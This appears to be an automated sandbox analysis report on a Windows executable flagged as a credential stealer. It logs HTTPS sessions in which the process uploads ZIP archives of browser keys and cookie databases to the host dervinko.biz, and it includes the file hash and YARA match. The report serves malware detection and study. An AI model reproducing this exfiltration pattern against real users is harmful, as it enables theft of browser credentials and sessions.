2024-05-06 13:19:56 UTC	571	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 13:19:56 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2zedOCIcPFJlmB0XcL1mnzKPVStj2XErljhzCMFPX6yeN6%2FoOh8dcQrk8m7DMf%2Bd14kDF1cqciNks6vB1kHw8oz13TWluF7dQqOizCrqk8cOtnvgyhgWpPazm%2Bfimr0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87f943caafa7a522-MIA alt-svc: h3=":443"; ma=86400
2024-05-06 13:19:56 UTC	1369	IN	Data Raw: 33 37 63 65 0d 0a 51 7a 38 53 45 52 5a 62 46 51 67 54 57 7a 49 56 45 68 45 55 51 6a 30 53 45 79 41 59 46 52 49 54 57 68 73 4e 45 68 46 69 5a 47 6c 52 43 52 59 56 50 52 49 54 49 42 67 56 45 68 4e 45 47 77 30 53 45 56 78 6b 65 56 31 53 56 56 56 72 62 6e 52 76 56 31 4a 65 56 47 68 6c 64 46 70 42 62 31 56 51 62 6d 31 68 53 6c 4a 41 45 30 52 5a 51 56 4d 54 47 44 4d 58 45 68 4d 67 47 42 55 51 52 52 59 44 46 77 4d 66 43 68 67 56 45 68 45 55 47 52 56 43 58 53 49 43 46 52 42 53 58 45 74 59 58 31 59 75 58 55 31 58 45 7a 34 5a 46 78 49 54 66 52 51 2f 45 68 45 55 47 55 77 34 45 79 41 59 46 52 49 52 46 6c 63 56 43 42 4d 69 57 6d 6c 75 55 67 77 62 47 7a 67 54 49 42 67 56 45 68 45 57 53 52 55 49 45 79 4a 6b 61 58 35 65 56 31 68 62 62 6d 39 48 56 31 70 56 58 56 46 6c 61 Data Ascii: 37ceQz8SERZbFQgTWzIVEhEUQj0SEyAYFRITWhsNEhFiZGlRCRYVPRITIBgVEhNEGw0SEVxkeV1SVVVrbnRvV1JeVGhldFpBb1VQbm1hSlJAE0RZQVMTGDMXEhMgGBUQRRYDFwMfChgVEhEUGRVCXSICFRBSXEtYX1YuXU1XEz4ZFxITfRQ/EhEUGUw4EyAYFRIRFlcVCBMiWmluUgwbGzgTIBgVEhEWSRUIEyJkaX5eV1hbbm9HV1pVXVFla
2024-05-06 13:19:56 UTC	1369	IN	Data Raw: 51 43 78 51 62 56 57 35 76 59 77 6f 44 45 42 30 2b 47 52 63 53 45 79 41 59 46 30 49 54 44 68 6b 56 62 6d 39 4d 56 31 5a 54 58 57 68 6c 42 41 51 44 51 6b 70 61 52 55 4a 52 53 32 74 75 63 58 4a 58 51 6b 46 55 52 6d 56 72 5a 30 42 6c 53 68 56 32 55 45 42 59 46 52 34 35 49 42 67 56 45 68 45 55 47 30 4d 51 43 53 41 4a 47 54 67 52 46 42 6b 58 45 68 4d 69 53 46 73 51 43 78 51 62 56 55 42 63 64 30 74 51 51 41 49 43 43 52 6c 58 53 32 55 61 50 78 49 52 46 42 6c 4b 48 6a 6b 67 47 42 55 53 53 6a 34 5a 46 78 49 54 49 42 67 58 58 42 4d 4f 47 52 56 51 62 31 78 62 42 41 73 54 47 44 4d 58 45 68 4d 67 47 42 55 51 51 52 59 44 46 78 42 76 58 48 52 61 55 56 42 59 5a 57 74 78 58 47 4e 37 57 6c 46 74 61 48 74 46 58 55 52 7a 58 55 64 75 62 57 46 4b 55 6b 41 54 52 46 6c 42 55 78 Data Ascii: QCxQbVW5vYwoDEB0+GRcSEyAYF0ITDhkVbm9MV1ZTXWhlBAQDQkpaRUJRS2tucXJXQkFURmVrZ0BlShV2UEBYFR45IBgVEhEUG0MQCSAJGTgRFBkXEhMiSFsQCxQbVUBcd0tQQAICCRlXS2UaPxIRFBlKHjkgGBUSSj4ZFxITIBgXXBMOGRVQb1xbBAsTGDMXEhMgGBUQQRYDFxBvXHRaUVBYZWtxXGN7WlFtaHtFXURzXUdubWFKUkATRFlBUx
2024-05-06 13:19:56 UTC	1369	IN	Data Raw: 49 6b 68 62 45 41 73 55 47 31 78 64 58 6d 56 4d 56 42 78 55 54 46 77 56 4f 42 4d 67 47 42 56 50 48 54 34 5a 46 78 49 54 65 7a 49 56 45 68 45 55 47 52 63 51 58 53 49 43 46 52 42 54 61 47 56 55 41 51 41 69 46 44 38 53 45 52 51 5a 46 78 49 52 63 42 6f 50 45 68 4e 6f 5a 58 74 64 55 47 46 55 61 57 35 6b 52 6c 68 5a 62 6d 39 56 53 31 42 41 45 58 42 59 51 31 4d 52 4c 44 49 56 45 68 45 55 47 52 63 51 52 79 49 43 46 51 4d 64 50 68 6b 58 45 68 4d 67 47 42 64 43 58 78 59 44 46 78 42 47 63 6c 6c 62 48 46 52 4d 58 42 55 34 45 79 41 59 46 55 38 64 50 68 6b 58 45 68 4e 37 4d 68 55 53 45 52 51 5a 46 78 42 64 49 67 49 56 45 46 4e 6f 5a 56 51 42 42 43 49 55 50 78 49 52 46 42 6b 58 45 68 46 77 47 67 38 53 45 32 68 6c 65 31 31 51 59 56 52 70 62 6c 31 64 58 46 56 54 58 46 78 Data Ascii: IkhbEAsUG1xdXmVMVBxUTFwVOBMgGBVPHT4ZFxITezIVEhEUGRcQXSICFRBTaGVUAQAiFD8SERQZFxIRcBoPEhNoZXtdUGFUaW5kRlhZbm9VS1BAEXBYQ1MRLDIVEhEUGRcQRyICFQMdPhkXEhMgGBdCXxYDFxBGcllbHFRMXBU4EyAYFU8dPhkXEhN7MhUSERQZFxBdIgIVEFNoZVQBBCIUPxIRFBkXEhFwGg8SE2hle11QYVRpbl1dXFVTXFx
2024-05-06 13:19:56 UTC	1369	IN	Data Raw: 68 64 77 51 57 39 50 52 6c 64 44 61 47 56 69 51 56 5a 79 47 48 46 54 52 56 55 62 47 7a 67 54 49 42 67 56 45 68 45 57 54 52 55 49 45 7a 45 55 50 78 49 52 46 42 6b 58 45 68 46 77 56 68 63 49 45 52 5a 38 57 31 64 65 5a 56 5a 42 51 58 4e 47 56 6b 42 42 56 6e 49 57 55 45 70 55 46 6a 4d 58 45 68 4d 67 52 52 6b 34 45 52 51 5a 46 30 6b 35 49 42 67 56 45 68 45 55 47 31 6b 51 43 53 41 61 56 32 35 74 56 77 73 41 45 42 38 4b 47 42 55 53 45 52 51 5a 46 55 49 52 4f 68 67 58 62 6d 31 34 56 6c 52 54 58 31 78 6b 65 46 4e 42 57 46 78 6b 52 6b 5a 6b 55 56 70 75 62 58 64 52 52 56 31 65 5a 57 68 5a 52 30 4a 6f 5a 57 4a 42 56 6e 49 59 63 56 4e 46 56 52 73 62 4f 42 4d 67 47 42 55 53 45 52 5a 4e 46 51 67 54 4d 52 51 2f 45 68 45 55 47 52 63 53 45 58 42 57 46 77 67 52 46 6e 70 66 Data Ascii: hdwQW9PRldDaGViQVZyGHFTRVUbGzgTIBgVEhEWTRUIEzEUPxIRFBkXEhFwVhcIERZ8W1deZVZBQXNGVkBBVnIWUEpUFjMXEhMgRRk4ERQZF0k5IBgVEhEUG1kQCSAaV25tVwsAEB8KGBUSERQZFUIROhgXbm14VlRTX1xkeFNBWFxkRkZkUVpubXdRRV1eZWhZR0JoZWJBVnIYcVNFVRsbOBMgGBUSERZNFQgTMRQ/EhEUGRcSEXBWFwgRFnpf
2024-05-06 13:19:56 UTC	1369	IN	Data Raw: 42 51 46 48 64 53 58 56 31 63 5a 47 42 42 56 45 59 5a 63 31 4e 48 59 52 6f 5a 4f 42 45 55 47 52 63 53 45 79 4a 4d 46 77 67 52 42 52 55 39 45 68 4d 67 47 42 55 53 45 30 52 58 46 51 67 54 49 6c 64 46 56 30 4e 56 46 31 4a 4b 56 69 49 79 46 52 49 52 46 45 51 62 4f 42 4d 67 47 42 56 4a 4f 78 51 5a 46 78 49 54 49 42 70 62 45 41 73 55 47 31 56 75 62 32 63 4a 46 78 34 37 46 42 6b 58 45 68 4d 67 47 6b 55 51 43 78 51 62 61 32 35 68 62 31 6c 59 57 31 39 54 5a 57 74 2f 58 48 70 52 57 56 35 51 61 47 56 78 57 30 46 6c 58 6c 70 4b 62 57 68 70 52 56 31 56 61 56 52 51 51 52 4d 59 4d 78 63 53 45 79 41 59 46 52 42 46 46 67 4d 58 41 42 38 4b 47 42 55 53 45 52 51 5a 46 55 4a 64 49 67 49 56 45 46 64 64 53 31 4a 55 58 48 67 57 55 45 70 55 46 6a 4d 58 45 68 4d 67 52 52 6b 34 45 Data Ascii: BQFHdSXV1cZGBBVEYZc1NHYRoZOBEUGRcSEyJMFwgRBRU9EhMgGBUSE0RXFQgTIldFV0NVF1JKViIyFRIRFEQbOBMgGBVJOxQZFxITIBpbEAsUG1Vub2cJFx47FBkXEhMgGkUQCxQba25hb1lYW19TZWt/XHpRWV5QaGVxW0FlXlpKbWhpRV1VaVRQQRMYMxcSEyAYFRBFFgMXAB8KGBUSERQZFUJdIgIVEFddS1JUXHgWUEpUFjMXEhMgRRk4E
2024-05-06 13:19:56 UTC	1369	IN	Data Raw: 69 56 68 63 49 45 52 5a 4f 42 52 41 35 49 42 67 56 45 6b 77 59 4d 78 63 53 45 79 42 44 50 78 49 52 46 42 6b 58 45 68 46 70 58 42 63 49 45 52 5a 66 58 31 42 63 61 46 46 59 55 31 52 59 57 31 68 61 51 32 70 61 56 31 35 56 56 31 64 51 55 56 31 68 53 46 74 57 58 6c 42 54 52 78 41 66 43 68 67 56 45 68 45 55 47 52 56 63 45 54 6f 59 46 30 55 43 46 6a 4d 58 45 68 4d 67 52 52 6b 34 45 52 51 5a 46 30 6b 35 49 42 67 56 45 68 45 55 47 31 35 57 45 54 6f 59 46 31 46 66 57 56 68 61 55 31 4a 6a 55 45 56 43 58 31 39 54 55 46 78 61 62 46 78 46 56 6c 78 66 57 46 5a 5a 56 6d 70 57 58 56 4e 55 46 68 55 39 45 68 4d 67 47 42 55 53 45 31 6f 62 44 52 49 52 64 77 41 58 4f 42 45 55 47 52 64 50 48 77 6f 59 46 52 49 52 54 7a 4d 58 45 68 4d 67 47 42 55 51 57 46 41 62 44 52 49 52 62 6c Data Ascii: iVhcIERZOBRA5IBgVEkwYMxcSEyBDPxIRFBkXEhFpXBcIERZfX1BcaFFYU1RYW1haQ2paV15VV1dQUV1hSFtWXlBTRxAfChgVEhEUGRVcEToYF0UCFjMXEhMgRRk4ERQZF0k5IBgVEhEUG15WEToYF1FfWVhaU1JjUEVCX19TUFxabFxFVlxfWFZZVmpWXVNUFhU9EhMgGBUSE1obDRIRdwAXOBEUGRdPHwoYFRIRTzMXEhMgGBUQWFAbDRIRbl
2024-05-06 13:19:56 UTC	1369	IN	Data Raw: 50 52 49 54 49 42 68 4f 4f 42 45 55 47 52 63 53 45 79 4a 52 55 52 41 4c 46 42 74 5a 57 56 46 70 55 46 4e 51 56 46 74 65 56 6c 64 53 62 31 31 64 58 6c 52 53 56 31 78 64 56 32 4a 64 55 31 56 42 55 31 4a 5a 58 42 45 73 4d 68 55 53 45 52 51 5a 46 78 42 64 49 67 49 56 45 45 59 47 43 68 55 34 45 79 41 59 46 55 38 64 50 68 6b 58 45 68 4e 37 4d 68 55 53 45 52 51 5a 46 78 42 61 5a 42 6f 50 45 68 4e 56 55 46 35 55 55 57 35 61 55 31 31 54 52 46 52 53 56 31 68 70 53 46 31 58 56 46 31 54 58 6c 39 58 63 46 5a 5a 51 6c 5a 45 53 52 55 65 4f 53 41 59 46 52 49 52 46 42 74 5a 45 41 6b 67 47 6b 49 41 42 52 59 7a 46 78 49 54 49 45 55 5a 4f 42 45 55 47 52 64 4a 4f 53 41 59 46 52 49 52 46 42 74 65 56 68 45 36 47 42 64 54 56 46 56 61 58 31 6c 64 62 56 31 54 51 6c 6c 52 53 56 52 Data Ascii: PRITIBhOOBEUGRcSEyJRURALFBtZWVFpUFNQVFteVldSb11dXlRSV1xdV2JdU1VBU1JZXBEsMhUSERQZFxBdIgIVEEYGChU4EyAYFU8dPhkXEhN7MhUSERQZFxBaZBoPEhNVUF5UUW5aU11TRFRSV1hpSF1XVF1TXl9XcFZZQlZESRUeOSAYFRIRFBtZEAkgGkIABRYzFxITIEUZOBEUGRdJOSAYFRIRFBteVhE6GBdTVFVaX1ldbV1TQllRSVR
2024-05-06 13:19:56 UTC	1369	IN	Data Raw: 68 4e 64 58 52 55 49 45 79 4a 51 57 31 52 51 57 6c 4a 5a 58 56 42 6d 58 56 70 55 55 31 42 64 55 46 46 61 61 6c 5a 59 57 6c 39 53 56 31 78 57 58 57 46 5a 55 52 41 64 50 68 6b 58 45 68 4d 67 47 42 64 63 45 77 34 5a 46 55 55 41 4d 78 6f 2f 45 68 45 55 47 55 6f 65 4f 53 41 59 46 52 4a 4b 50 68 6b 58 45 68 4d 67 47 42 64 62 56 52 59 44 46 78 42 51 61 56 42 59 58 56 42 51 57 46 35 56 57 32 4e 64 58 31 31 42 56 56 52 61 56 46 46 74 58 46 46 52 58 46 42 63 58 46 46 5a 5a 52 6f 5a 4f 42 45 55 47 52 63 53 45 79 4a 57 46 77 67 52 46 6b 34 45 42 68 45 4b 47 42 55 53 45 55 6b 56 50 52 49 54 49 42 68 4f 4f 42 45 55 47 52 63 53 45 79 4a 52 55 52 41 4c 46 42 74 56 56 46 31 68 58 56 6c 66 58 6c 6c 63 58 6c 39 62 62 45 68 59 56 56 74 61 55 31 68 43 57 32 68 49 58 6c 6c 65 Data Ascii: hNdXRUIEyJQW1RQWlJZXVBmXVpUU1BdUFFaalZYWl9SV1xWXWFZURAdPhkXEhMgGBdcEw4ZFUUAMxo/EhEUGUoeOSAYFRJKPhkXEhMgGBdbVRYDFxBQaVBYXVBQWF5VW2NdX11BVVRaVFFtXFFRXFBcXFFZZRoZOBEUGRcSEyJWFwgRFk4EBhEKGBUSEUkVPRITIBhOOBEUGRcSEyJRURALFBtVVF1hXVlfXllcXl9bbEhYVVtaU1hCW2hIXlle
2024-05-06 13:19:56 UTC	1369	IN	Data Raw: 6c 64 58 31 56 58 57 56 52 66 58 46 74 69 57 31 52 55 58 46 70 63 55 56 42 61 61 6c 70 5a 57 31 39 53 58 78 55 65 4f 53 41 59 46 52 49 52 46 42 74 5a 45 41 6b 67 47 6b 49 47 42 68 59 7a 46 78 49 54 49 45 55 5a 4f 42 45 55 47 52 64 4a 4f 53 41 59 46 52 49 52 46 42 74 65 56 68 45 36 47 42 64 58 56 6c 42 64 55 31 68 52 61 6c 52 57 57 46 4a 66 55 46 4a 59 55 57 4a 5a 57 31 64 65 56 6c 4a 48 56 56 31 74 53 46 35 63 51 52 59 56 50 52 49 54 49 42 67 56 45 68 4e 61 47 77 30 53 45 58 63 4d 44 52 41 37 46 42 6b 58 45 6b 34 73 4d 68 55 53 45 52 52 43 50 52 49 54 49 42 67 56 45 68 4e 64 58 52 55 49 45 79 4a 57 58 46 70 64 55 56 74 54 58 6c 42 6a 55 6c 39 57 56 46 35 65 57 46 46 44 62 31 39 54 51 6c 6c 52 57 46 78 5a 51 32 39 63 56 78 41 64 50 68 6b 58 45 68 4d 67 47 Data Ascii: ldX1VXWVRfXFtiW1RUXFpcUVBaalpZW19SXxUeOSAYFRIRFBtZEAkgGkIGBhYzFxITIEUZOBEUGRdJOSAYFRIRFBteVhE6GBdXVlBdU1hRalRWWFJfUFJYUWJZW1deVlJHVV1tSF5cQRYVPRITIBgVEhNaGw0SEXcMDRA7FBkXEk4sMhUSERRCPRITIBgVEhNdXRUIEyJWXFpdUVtTXlBjUl9WVF5eWFFDb19TQllRWFxZQ29cVxAdPhkXEhMgG
2024-05-06 13:19:56 UTC	1369	IN	Data Raw: 61 57 6c 4a 70 58 31 39 63 57 6c 74 62 57 56 78 61 61 42 6f 5a 4f 42 45 55 47 52 63 53 45 79 4a 57 46 77 67 52 46 6b 34 42 41 68 45 4b 47 42 55 53 45 55 6b 56 50 52 49 54 49 42 68 4f 4f 42 45 55 47 52 63 53 45 79 4a 52 55 52 41 4c 46 42 74 48 58 46 39 6a 57 31 68 64 57 31 64 55 55 6c 31 62 62 45 68 53 56 56 78 53 56 31 56 51 57 6d 46 49 58 6c 39 54 57 46 42 59 55 42 45 73 4d 68 55 53 45 52 51 5a 46 78 42 64 49 67 49 56 45 45 45 43 43 42 55 34 45 79 41 59 46 55 38 64 50 68 6b 58 45 68 4e 37 4d 68 55 53 45 52 51 5a 46 78 42 61 5a 42 6f 50 45 68 4e 59 55 31 46 43 55 47 6c 65 52 56 56 54 56 6c 70 66 58 56 64 6b 53 46 39 58 56 31 56 51 52 31 31 61 61 56 39 46 56 6c 78 56 58 68 55 65 4f 53 41 59 46 52 49 52 46 42 74 5a 45 41 6b 67 47 6b 55 45 41 78 59 7a 46 78 Data Ascii: aWlJpX19cWltbWVxaaBoZOBEUGRcSEyJWFwgRFk4BAhEKGBUSEUkVPRITIBhOOBEUGRcSEyJRURALFBtHXF9jW1hdW1dUUl1bbEhSVVxSV1VQWmFIXl9TWFBYUBEsMhUSERQZFxBdIgIVEEECCBU4EyAYFU8dPhkXEhN7MhUSERQZFxBaZBoPEhNYU1FCUGleRVVTVlpfXVdkSF9XV1VQR11aaV9FVlxVXhUeOSAYFRIRFBtZEAkgGkUEAxYzFx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49701	104.21.13.203	443	6256	C:\Users\user\Desktop\Gj8P0mbklo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-06 13:19:57 UTC	165	OUT	POST /Up HTTP/1.1 Content-Type: application/octet-stream; boundary=---- User-Agent: MyApp/1.0 Host: dervinko.biz Content-Length: 341 Cache-Control: no-cache
2024-05-06 13:19:57 UTC	329	OUT	Data Raw: 50 4b 03 04 14 00 08 08 08 00 7c 7a a6 58 00 00 00 00 00 00 00 00 00 00 00 00 28 00 04 00 38 39 37 33 37 62 35 37 2d 37 37 37 64 2d 34 30 30 64 2d 62 62 37 66 2d 37 37 62 37 65 30 32 34 39 32 30 65 2e 74 78 74 01 00 00 00 7d 8d b1 0a 02 31 10 44 7f 25 4c 9d 62 37 e4 a2 6e 29 b6 36 36 16 62 71 e4 a2 04 e4 22 1b d1 03 f1 df 5d 7f c0 72 de 3c 66 de 18 21 58 52 84 47 86 04 8f 2b e4 84 7d cd da 7a bb 3c dc 76 ec 35 bb 43 99 a7 a2 6e a7 f5 59 d4 d4 ff fd d9 e3 06 e1 15 0f 44 89 37 83 47 b3 93 63 9d a7 f6 ea 8e c9 06 ee 06 02 27 8a 6c 41 21 91 7e 5a 37 ca 61 4d 0b 53 88 f8 7c 01 50 4b 07 08 38 0e 72 85 77 00 00 00 00 00 00 00 9d 00 00 00 00 00 00 00 50 4b 01 02 00 00 14 00 08 08 08 00 7c 7a a6 58 38 0e 72 85 77 00 00 00 9d 00 00 00 28 00 04 00 00 00 00 00 00 00 Data Ascii: PK\|zX(89737b57-777d-400d-bb7f-77b7e024920e.txt}1D%Lb7n)66bq"]r<f!XRG+}z<v5CnYD7Gc'lA!~Z7aMS\|PK8rwPK\|zX8rw(
2024-05-06 13:19:57 UTC	12	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a Data Ascii: --------
2024-05-06 13:19:57 UTC	521	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 13:19:57 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9KQRHKt0FkrDTK4ekzPbhBR2CeVaX70i4tpMbFvCxJNXLTkfuYDt%2FbUrsb5Yh97z1gQptJ1L5wBSv9lWz0ayurpOOPWxJ%2BE7r%2FtWfCYNi0oiVblox4aFp69fToYYgwY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87f943d0e8c8a4f2-MIA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49702	104.21.13.203	443	6256	C:\Users\user\Desktop\Gj8P0mbklo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-06 13:19:59 UTC	168	OUT	POST /Up/b HTTP/1.1 Content-Type: application/octet-stream; boundary=---- User-Agent: MyApp/1.0 Host: dervinko.biz Content-Length: 7753 Cache-Control: no-cache
2024-05-06 13:19:59 UTC	7741	OUT	Data Raw: 50 4b 03 04 14 00 08 08 08 00 7d 7a a6 58 00 00 00 00 00 00 00 00 00 00 00 00 08 00 04 00 62 2f 63 38 2f 6b 65 79 01 00 00 00 01 20 00 df ff 0e b4 c5 60 bb 0c ed 85 60 10 de a9 0a ff d1 5d e6 fc 06 ae f8 f0 4c 07 6e c2 c2 20 6b f5 90 47 50 4b 07 08 63 48 45 8c 25 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 08 08 00 7d 7a a6 58 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 04 00 62 2f 63 38 2f 30 2f 43 6f 6f 6b 69 65 73 31 01 00 00 00 ed d9 7f 6c 13 55 1c 00 f0 77 77 5b f7 8b ee 36 a5 4c 52 63 0e 86 ba 99 b1 3a 11 34 36 d1 75 50 b6 ba d2 6d a5 83 4d 34 e7 d1 be ad c7 da de ed ee dd 64 28 91 a1 89 33 33 c6 91 99 40 d4 a4 62 24 01 4d 46 1c 19 c9 16 13 06 0a ce 11 98 e8 44 fc 43 11 03 a8 21 64 26 68 f0 1f e2 bb ad 63 5d d7 c5 7f fc 63 7f 7c Data Ascii: PK}zXb/c8/key ``]Ln kGPKcHE% PK}zXb/c8/0/Cookies1lUww[6LRc:46uPmM4d(33@b$MFDC!d&hc]c\|
2024-05-06 13:19:59 UTC	12	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a Data Ascii: --------
2024-05-06 13:19:59 UTC	519	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 13:19:59 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VAM5s3U5JIpgEpwie5z0QTau%2BM4GXhCZ9Yld4ZASHHMa44eUCGxtulBEzoVfDKyoPXG4IAe9d%2FjpK9d2VuWGgVIMtKumJdKulOfGt66vHigznY3SgOhmWFhcCntN8Fk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87f943db79b8287e-MIA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49703	104.21.13.203	443	6256	C:\Users\user\Desktop\Gj8P0mbklo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-06 13:20:01 UTC	169	OUT	POST /Up/b HTTP/1.1 Content-Type: application/octet-stream; boundary=---- User-Agent: MyApp/1.0 Host: dervinko.biz Content-Length: 11660 Cache-Control: no-cache
2024-05-06 13:20:01 UTC	11648	OUT	Data Raw: 50 4b 03 04 14 00 08 08 08 00 7d 7a a6 58 00 00 00 00 00 00 00 00 00 00 00 00 08 00 04 00 62 2f 63 39 2f 6b 65 79 01 00 00 00 01 20 00 df ff b3 b7 ef 54 5b af 12 0b 34 ad 96 8e 35 bc c1 b8 c3 80 8d 23 18 d3 f2 5b d7 55 38 9b f9 18 63 55 50 4b 07 08 0e 18 a7 1a 25 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 08 08 00 7d 7a a6 58 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 04 00 62 2f 63 39 2f 30 2f 43 6f 6f 6b 69 65 73 31 01 00 00 00 ed d9 3d 6f d3 40 18 07 f0 73 9c 34 50 12 dc 0e 55 86 30 9c 5a 24 5a 29 bc 54 11 12 52 17 d2 d6 94 88 90 d0 90 a0 76 b2 ae ce b5 31 4d 6c f7 7c 2e cd d8 a1 03 4b 3f 01 5f 80 91 af c0 c6 04 1f 81 85 15 89 8d 11 5f 9a 36 a1 75 40 42 aa 84 aa ff 4f 72 62 df 73 39 bf e4 c9 29 7e fc 72 bd e2 48 4e b7 3d d1 65 92 Data Ascii: PK}zXb/c9/key T[45#[U8cUPK% PK}zXb/c9/0/Cookies1=o@s4PU0Z$Z)TRv1Ml\|.K?__6u@BOrbs9)~rHN=e
2024-05-06 13:20:01 UTC	12	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a Data Ascii: --------
2024-05-06 13:20:01 UTC	521	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 13:20:01 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kjzaPr6UjOXZinlS3kIOX0AVNj3zG%2FpOYVpX9Aiu5yiKeWb9MWahhc3MqS5Ah7%2FLGr6BdPAzOGPlQiIFFROlqVgqrZwjzCeKIgwWeFF8t6dIlRx%2F4WzcVpAYuaYjcLE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87f943e739243340-MIA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49704	104.21.13.203	443	6256	C:\Users\user\Desktop\Gj8P0mbklo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-06 13:20:02 UTC	168	OUT	POST /Up/b HTTP/1.1 Content-Type: application/octet-stream; boundary=---- User-Agent: MyApp/1.0 Host: dervinko.biz Content-Length: 9194 Cache-Control: no-cache
2024-05-06 13:20:02 UTC	9182	OUT	Data Raw: 50 4b 03 04 14 00 08 08 08 00 80 7a a6 58 00 00 00 00 00 00 00 00 00 00 00 00 15 00 04 00 62 2f 67 31 2f 30 2f 63 6f 6f 6b 69 65 73 2e 73 71 6c 69 74 65 01 00 00 00 ed d2 4f 4f d4 40 14 00 f0 b2 18 35 46 cf 5e 27 e1 20 24 1b a3 31 de 5d b0 2a 71 01 d9 5d 12 39 91 b2 54 a9 2e 5b 68 bb 82 26 04 12 13 bf 97 df c0 6f c2 d5 a3 e5 af ab 12 ce 26 fc 7e c9 4c de cc 6b a6 af af d3 5d 6e 67 55 1a de e5 c5 56 52 85 27 d1 61 d4 68 44 cf 42 88 a2 68 f2 6c 9c 9b a8 c7 8d bf d6 77 a3 ab 4d 46 0f 3f fc b8 77 f0 33 6a ec 1f 45 fb 47 07 df 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 ff c3 d7 a5 89 5b f7 a7 a6 26 be a5 55 b2 3e 48 b7 f2 2f 6b fd 3c ff 98 a5 e5 58 d8 98 eb c4 ad 5e 1c 7a ad d9 76 1c c6 12 61 3a db 08 f3 8b Data Ascii: PKzXb/g1/0/cookies.sqliteOO@5F^' $1]*q]9T.[h&o&~Lk]ngUVR'ahDBhlwMF?w3jEG#[&U>H/k<X^zva:
2024-05-06 13:20:02 UTC	12	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a Data Ascii: --------
2024-05-06 13:20:03 UTC	525	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 13:20:03 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=emd7dqbvewEe7iwJU9f%2FLM3516Fhbq5EBbQpu8Z%2BO0wLZAlF9AfKcOEmWo3ZT3FKkMJfsj1h%2FIDm35BQuXCcGC07TRYTRDoSEZTGIkqEWhM%2FgT3tXyVEXuqmv8%2B5upM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87f943f2493da662-MIA alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	15:19:53
Start date:	06/05/2024
Path:	C:\Users\user\Desktop\Gj8P0mbklo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Gj8P0mbklo.exe"
Imagebase:	0x350000
File size:	362'496 bytes
MD5 hash:	BAD3FA5127EFCC9C678C5D71FCE0D0B2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2152455570.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	56.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	33

Executed Functions

Function 00359630 Relevance: 40.4, APIs: 20, Strings: 1, Instructions: 3643memoryfilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0035CE40: NtQueryAttributesFile.NTDLL ref: 0035CDDD

Part of subcall function 00373C10: NtCreateFile.NTDLL ref: 00373D3F

GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0035A127
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0035A12E
GetProcessHeap.KERNEL32(00000000,00000000,?,00000001), ref: 0035A5B4
HeapFree.KERNEL32(00000000,?,00000001), ref: 0035A5BB
GetProcessHeap.KERNEL32(00000000,00000000,?,00000001), ref: 0035AA41
HeapFree.KERNEL32(00000000,?,00000001), ref: 0035AA48
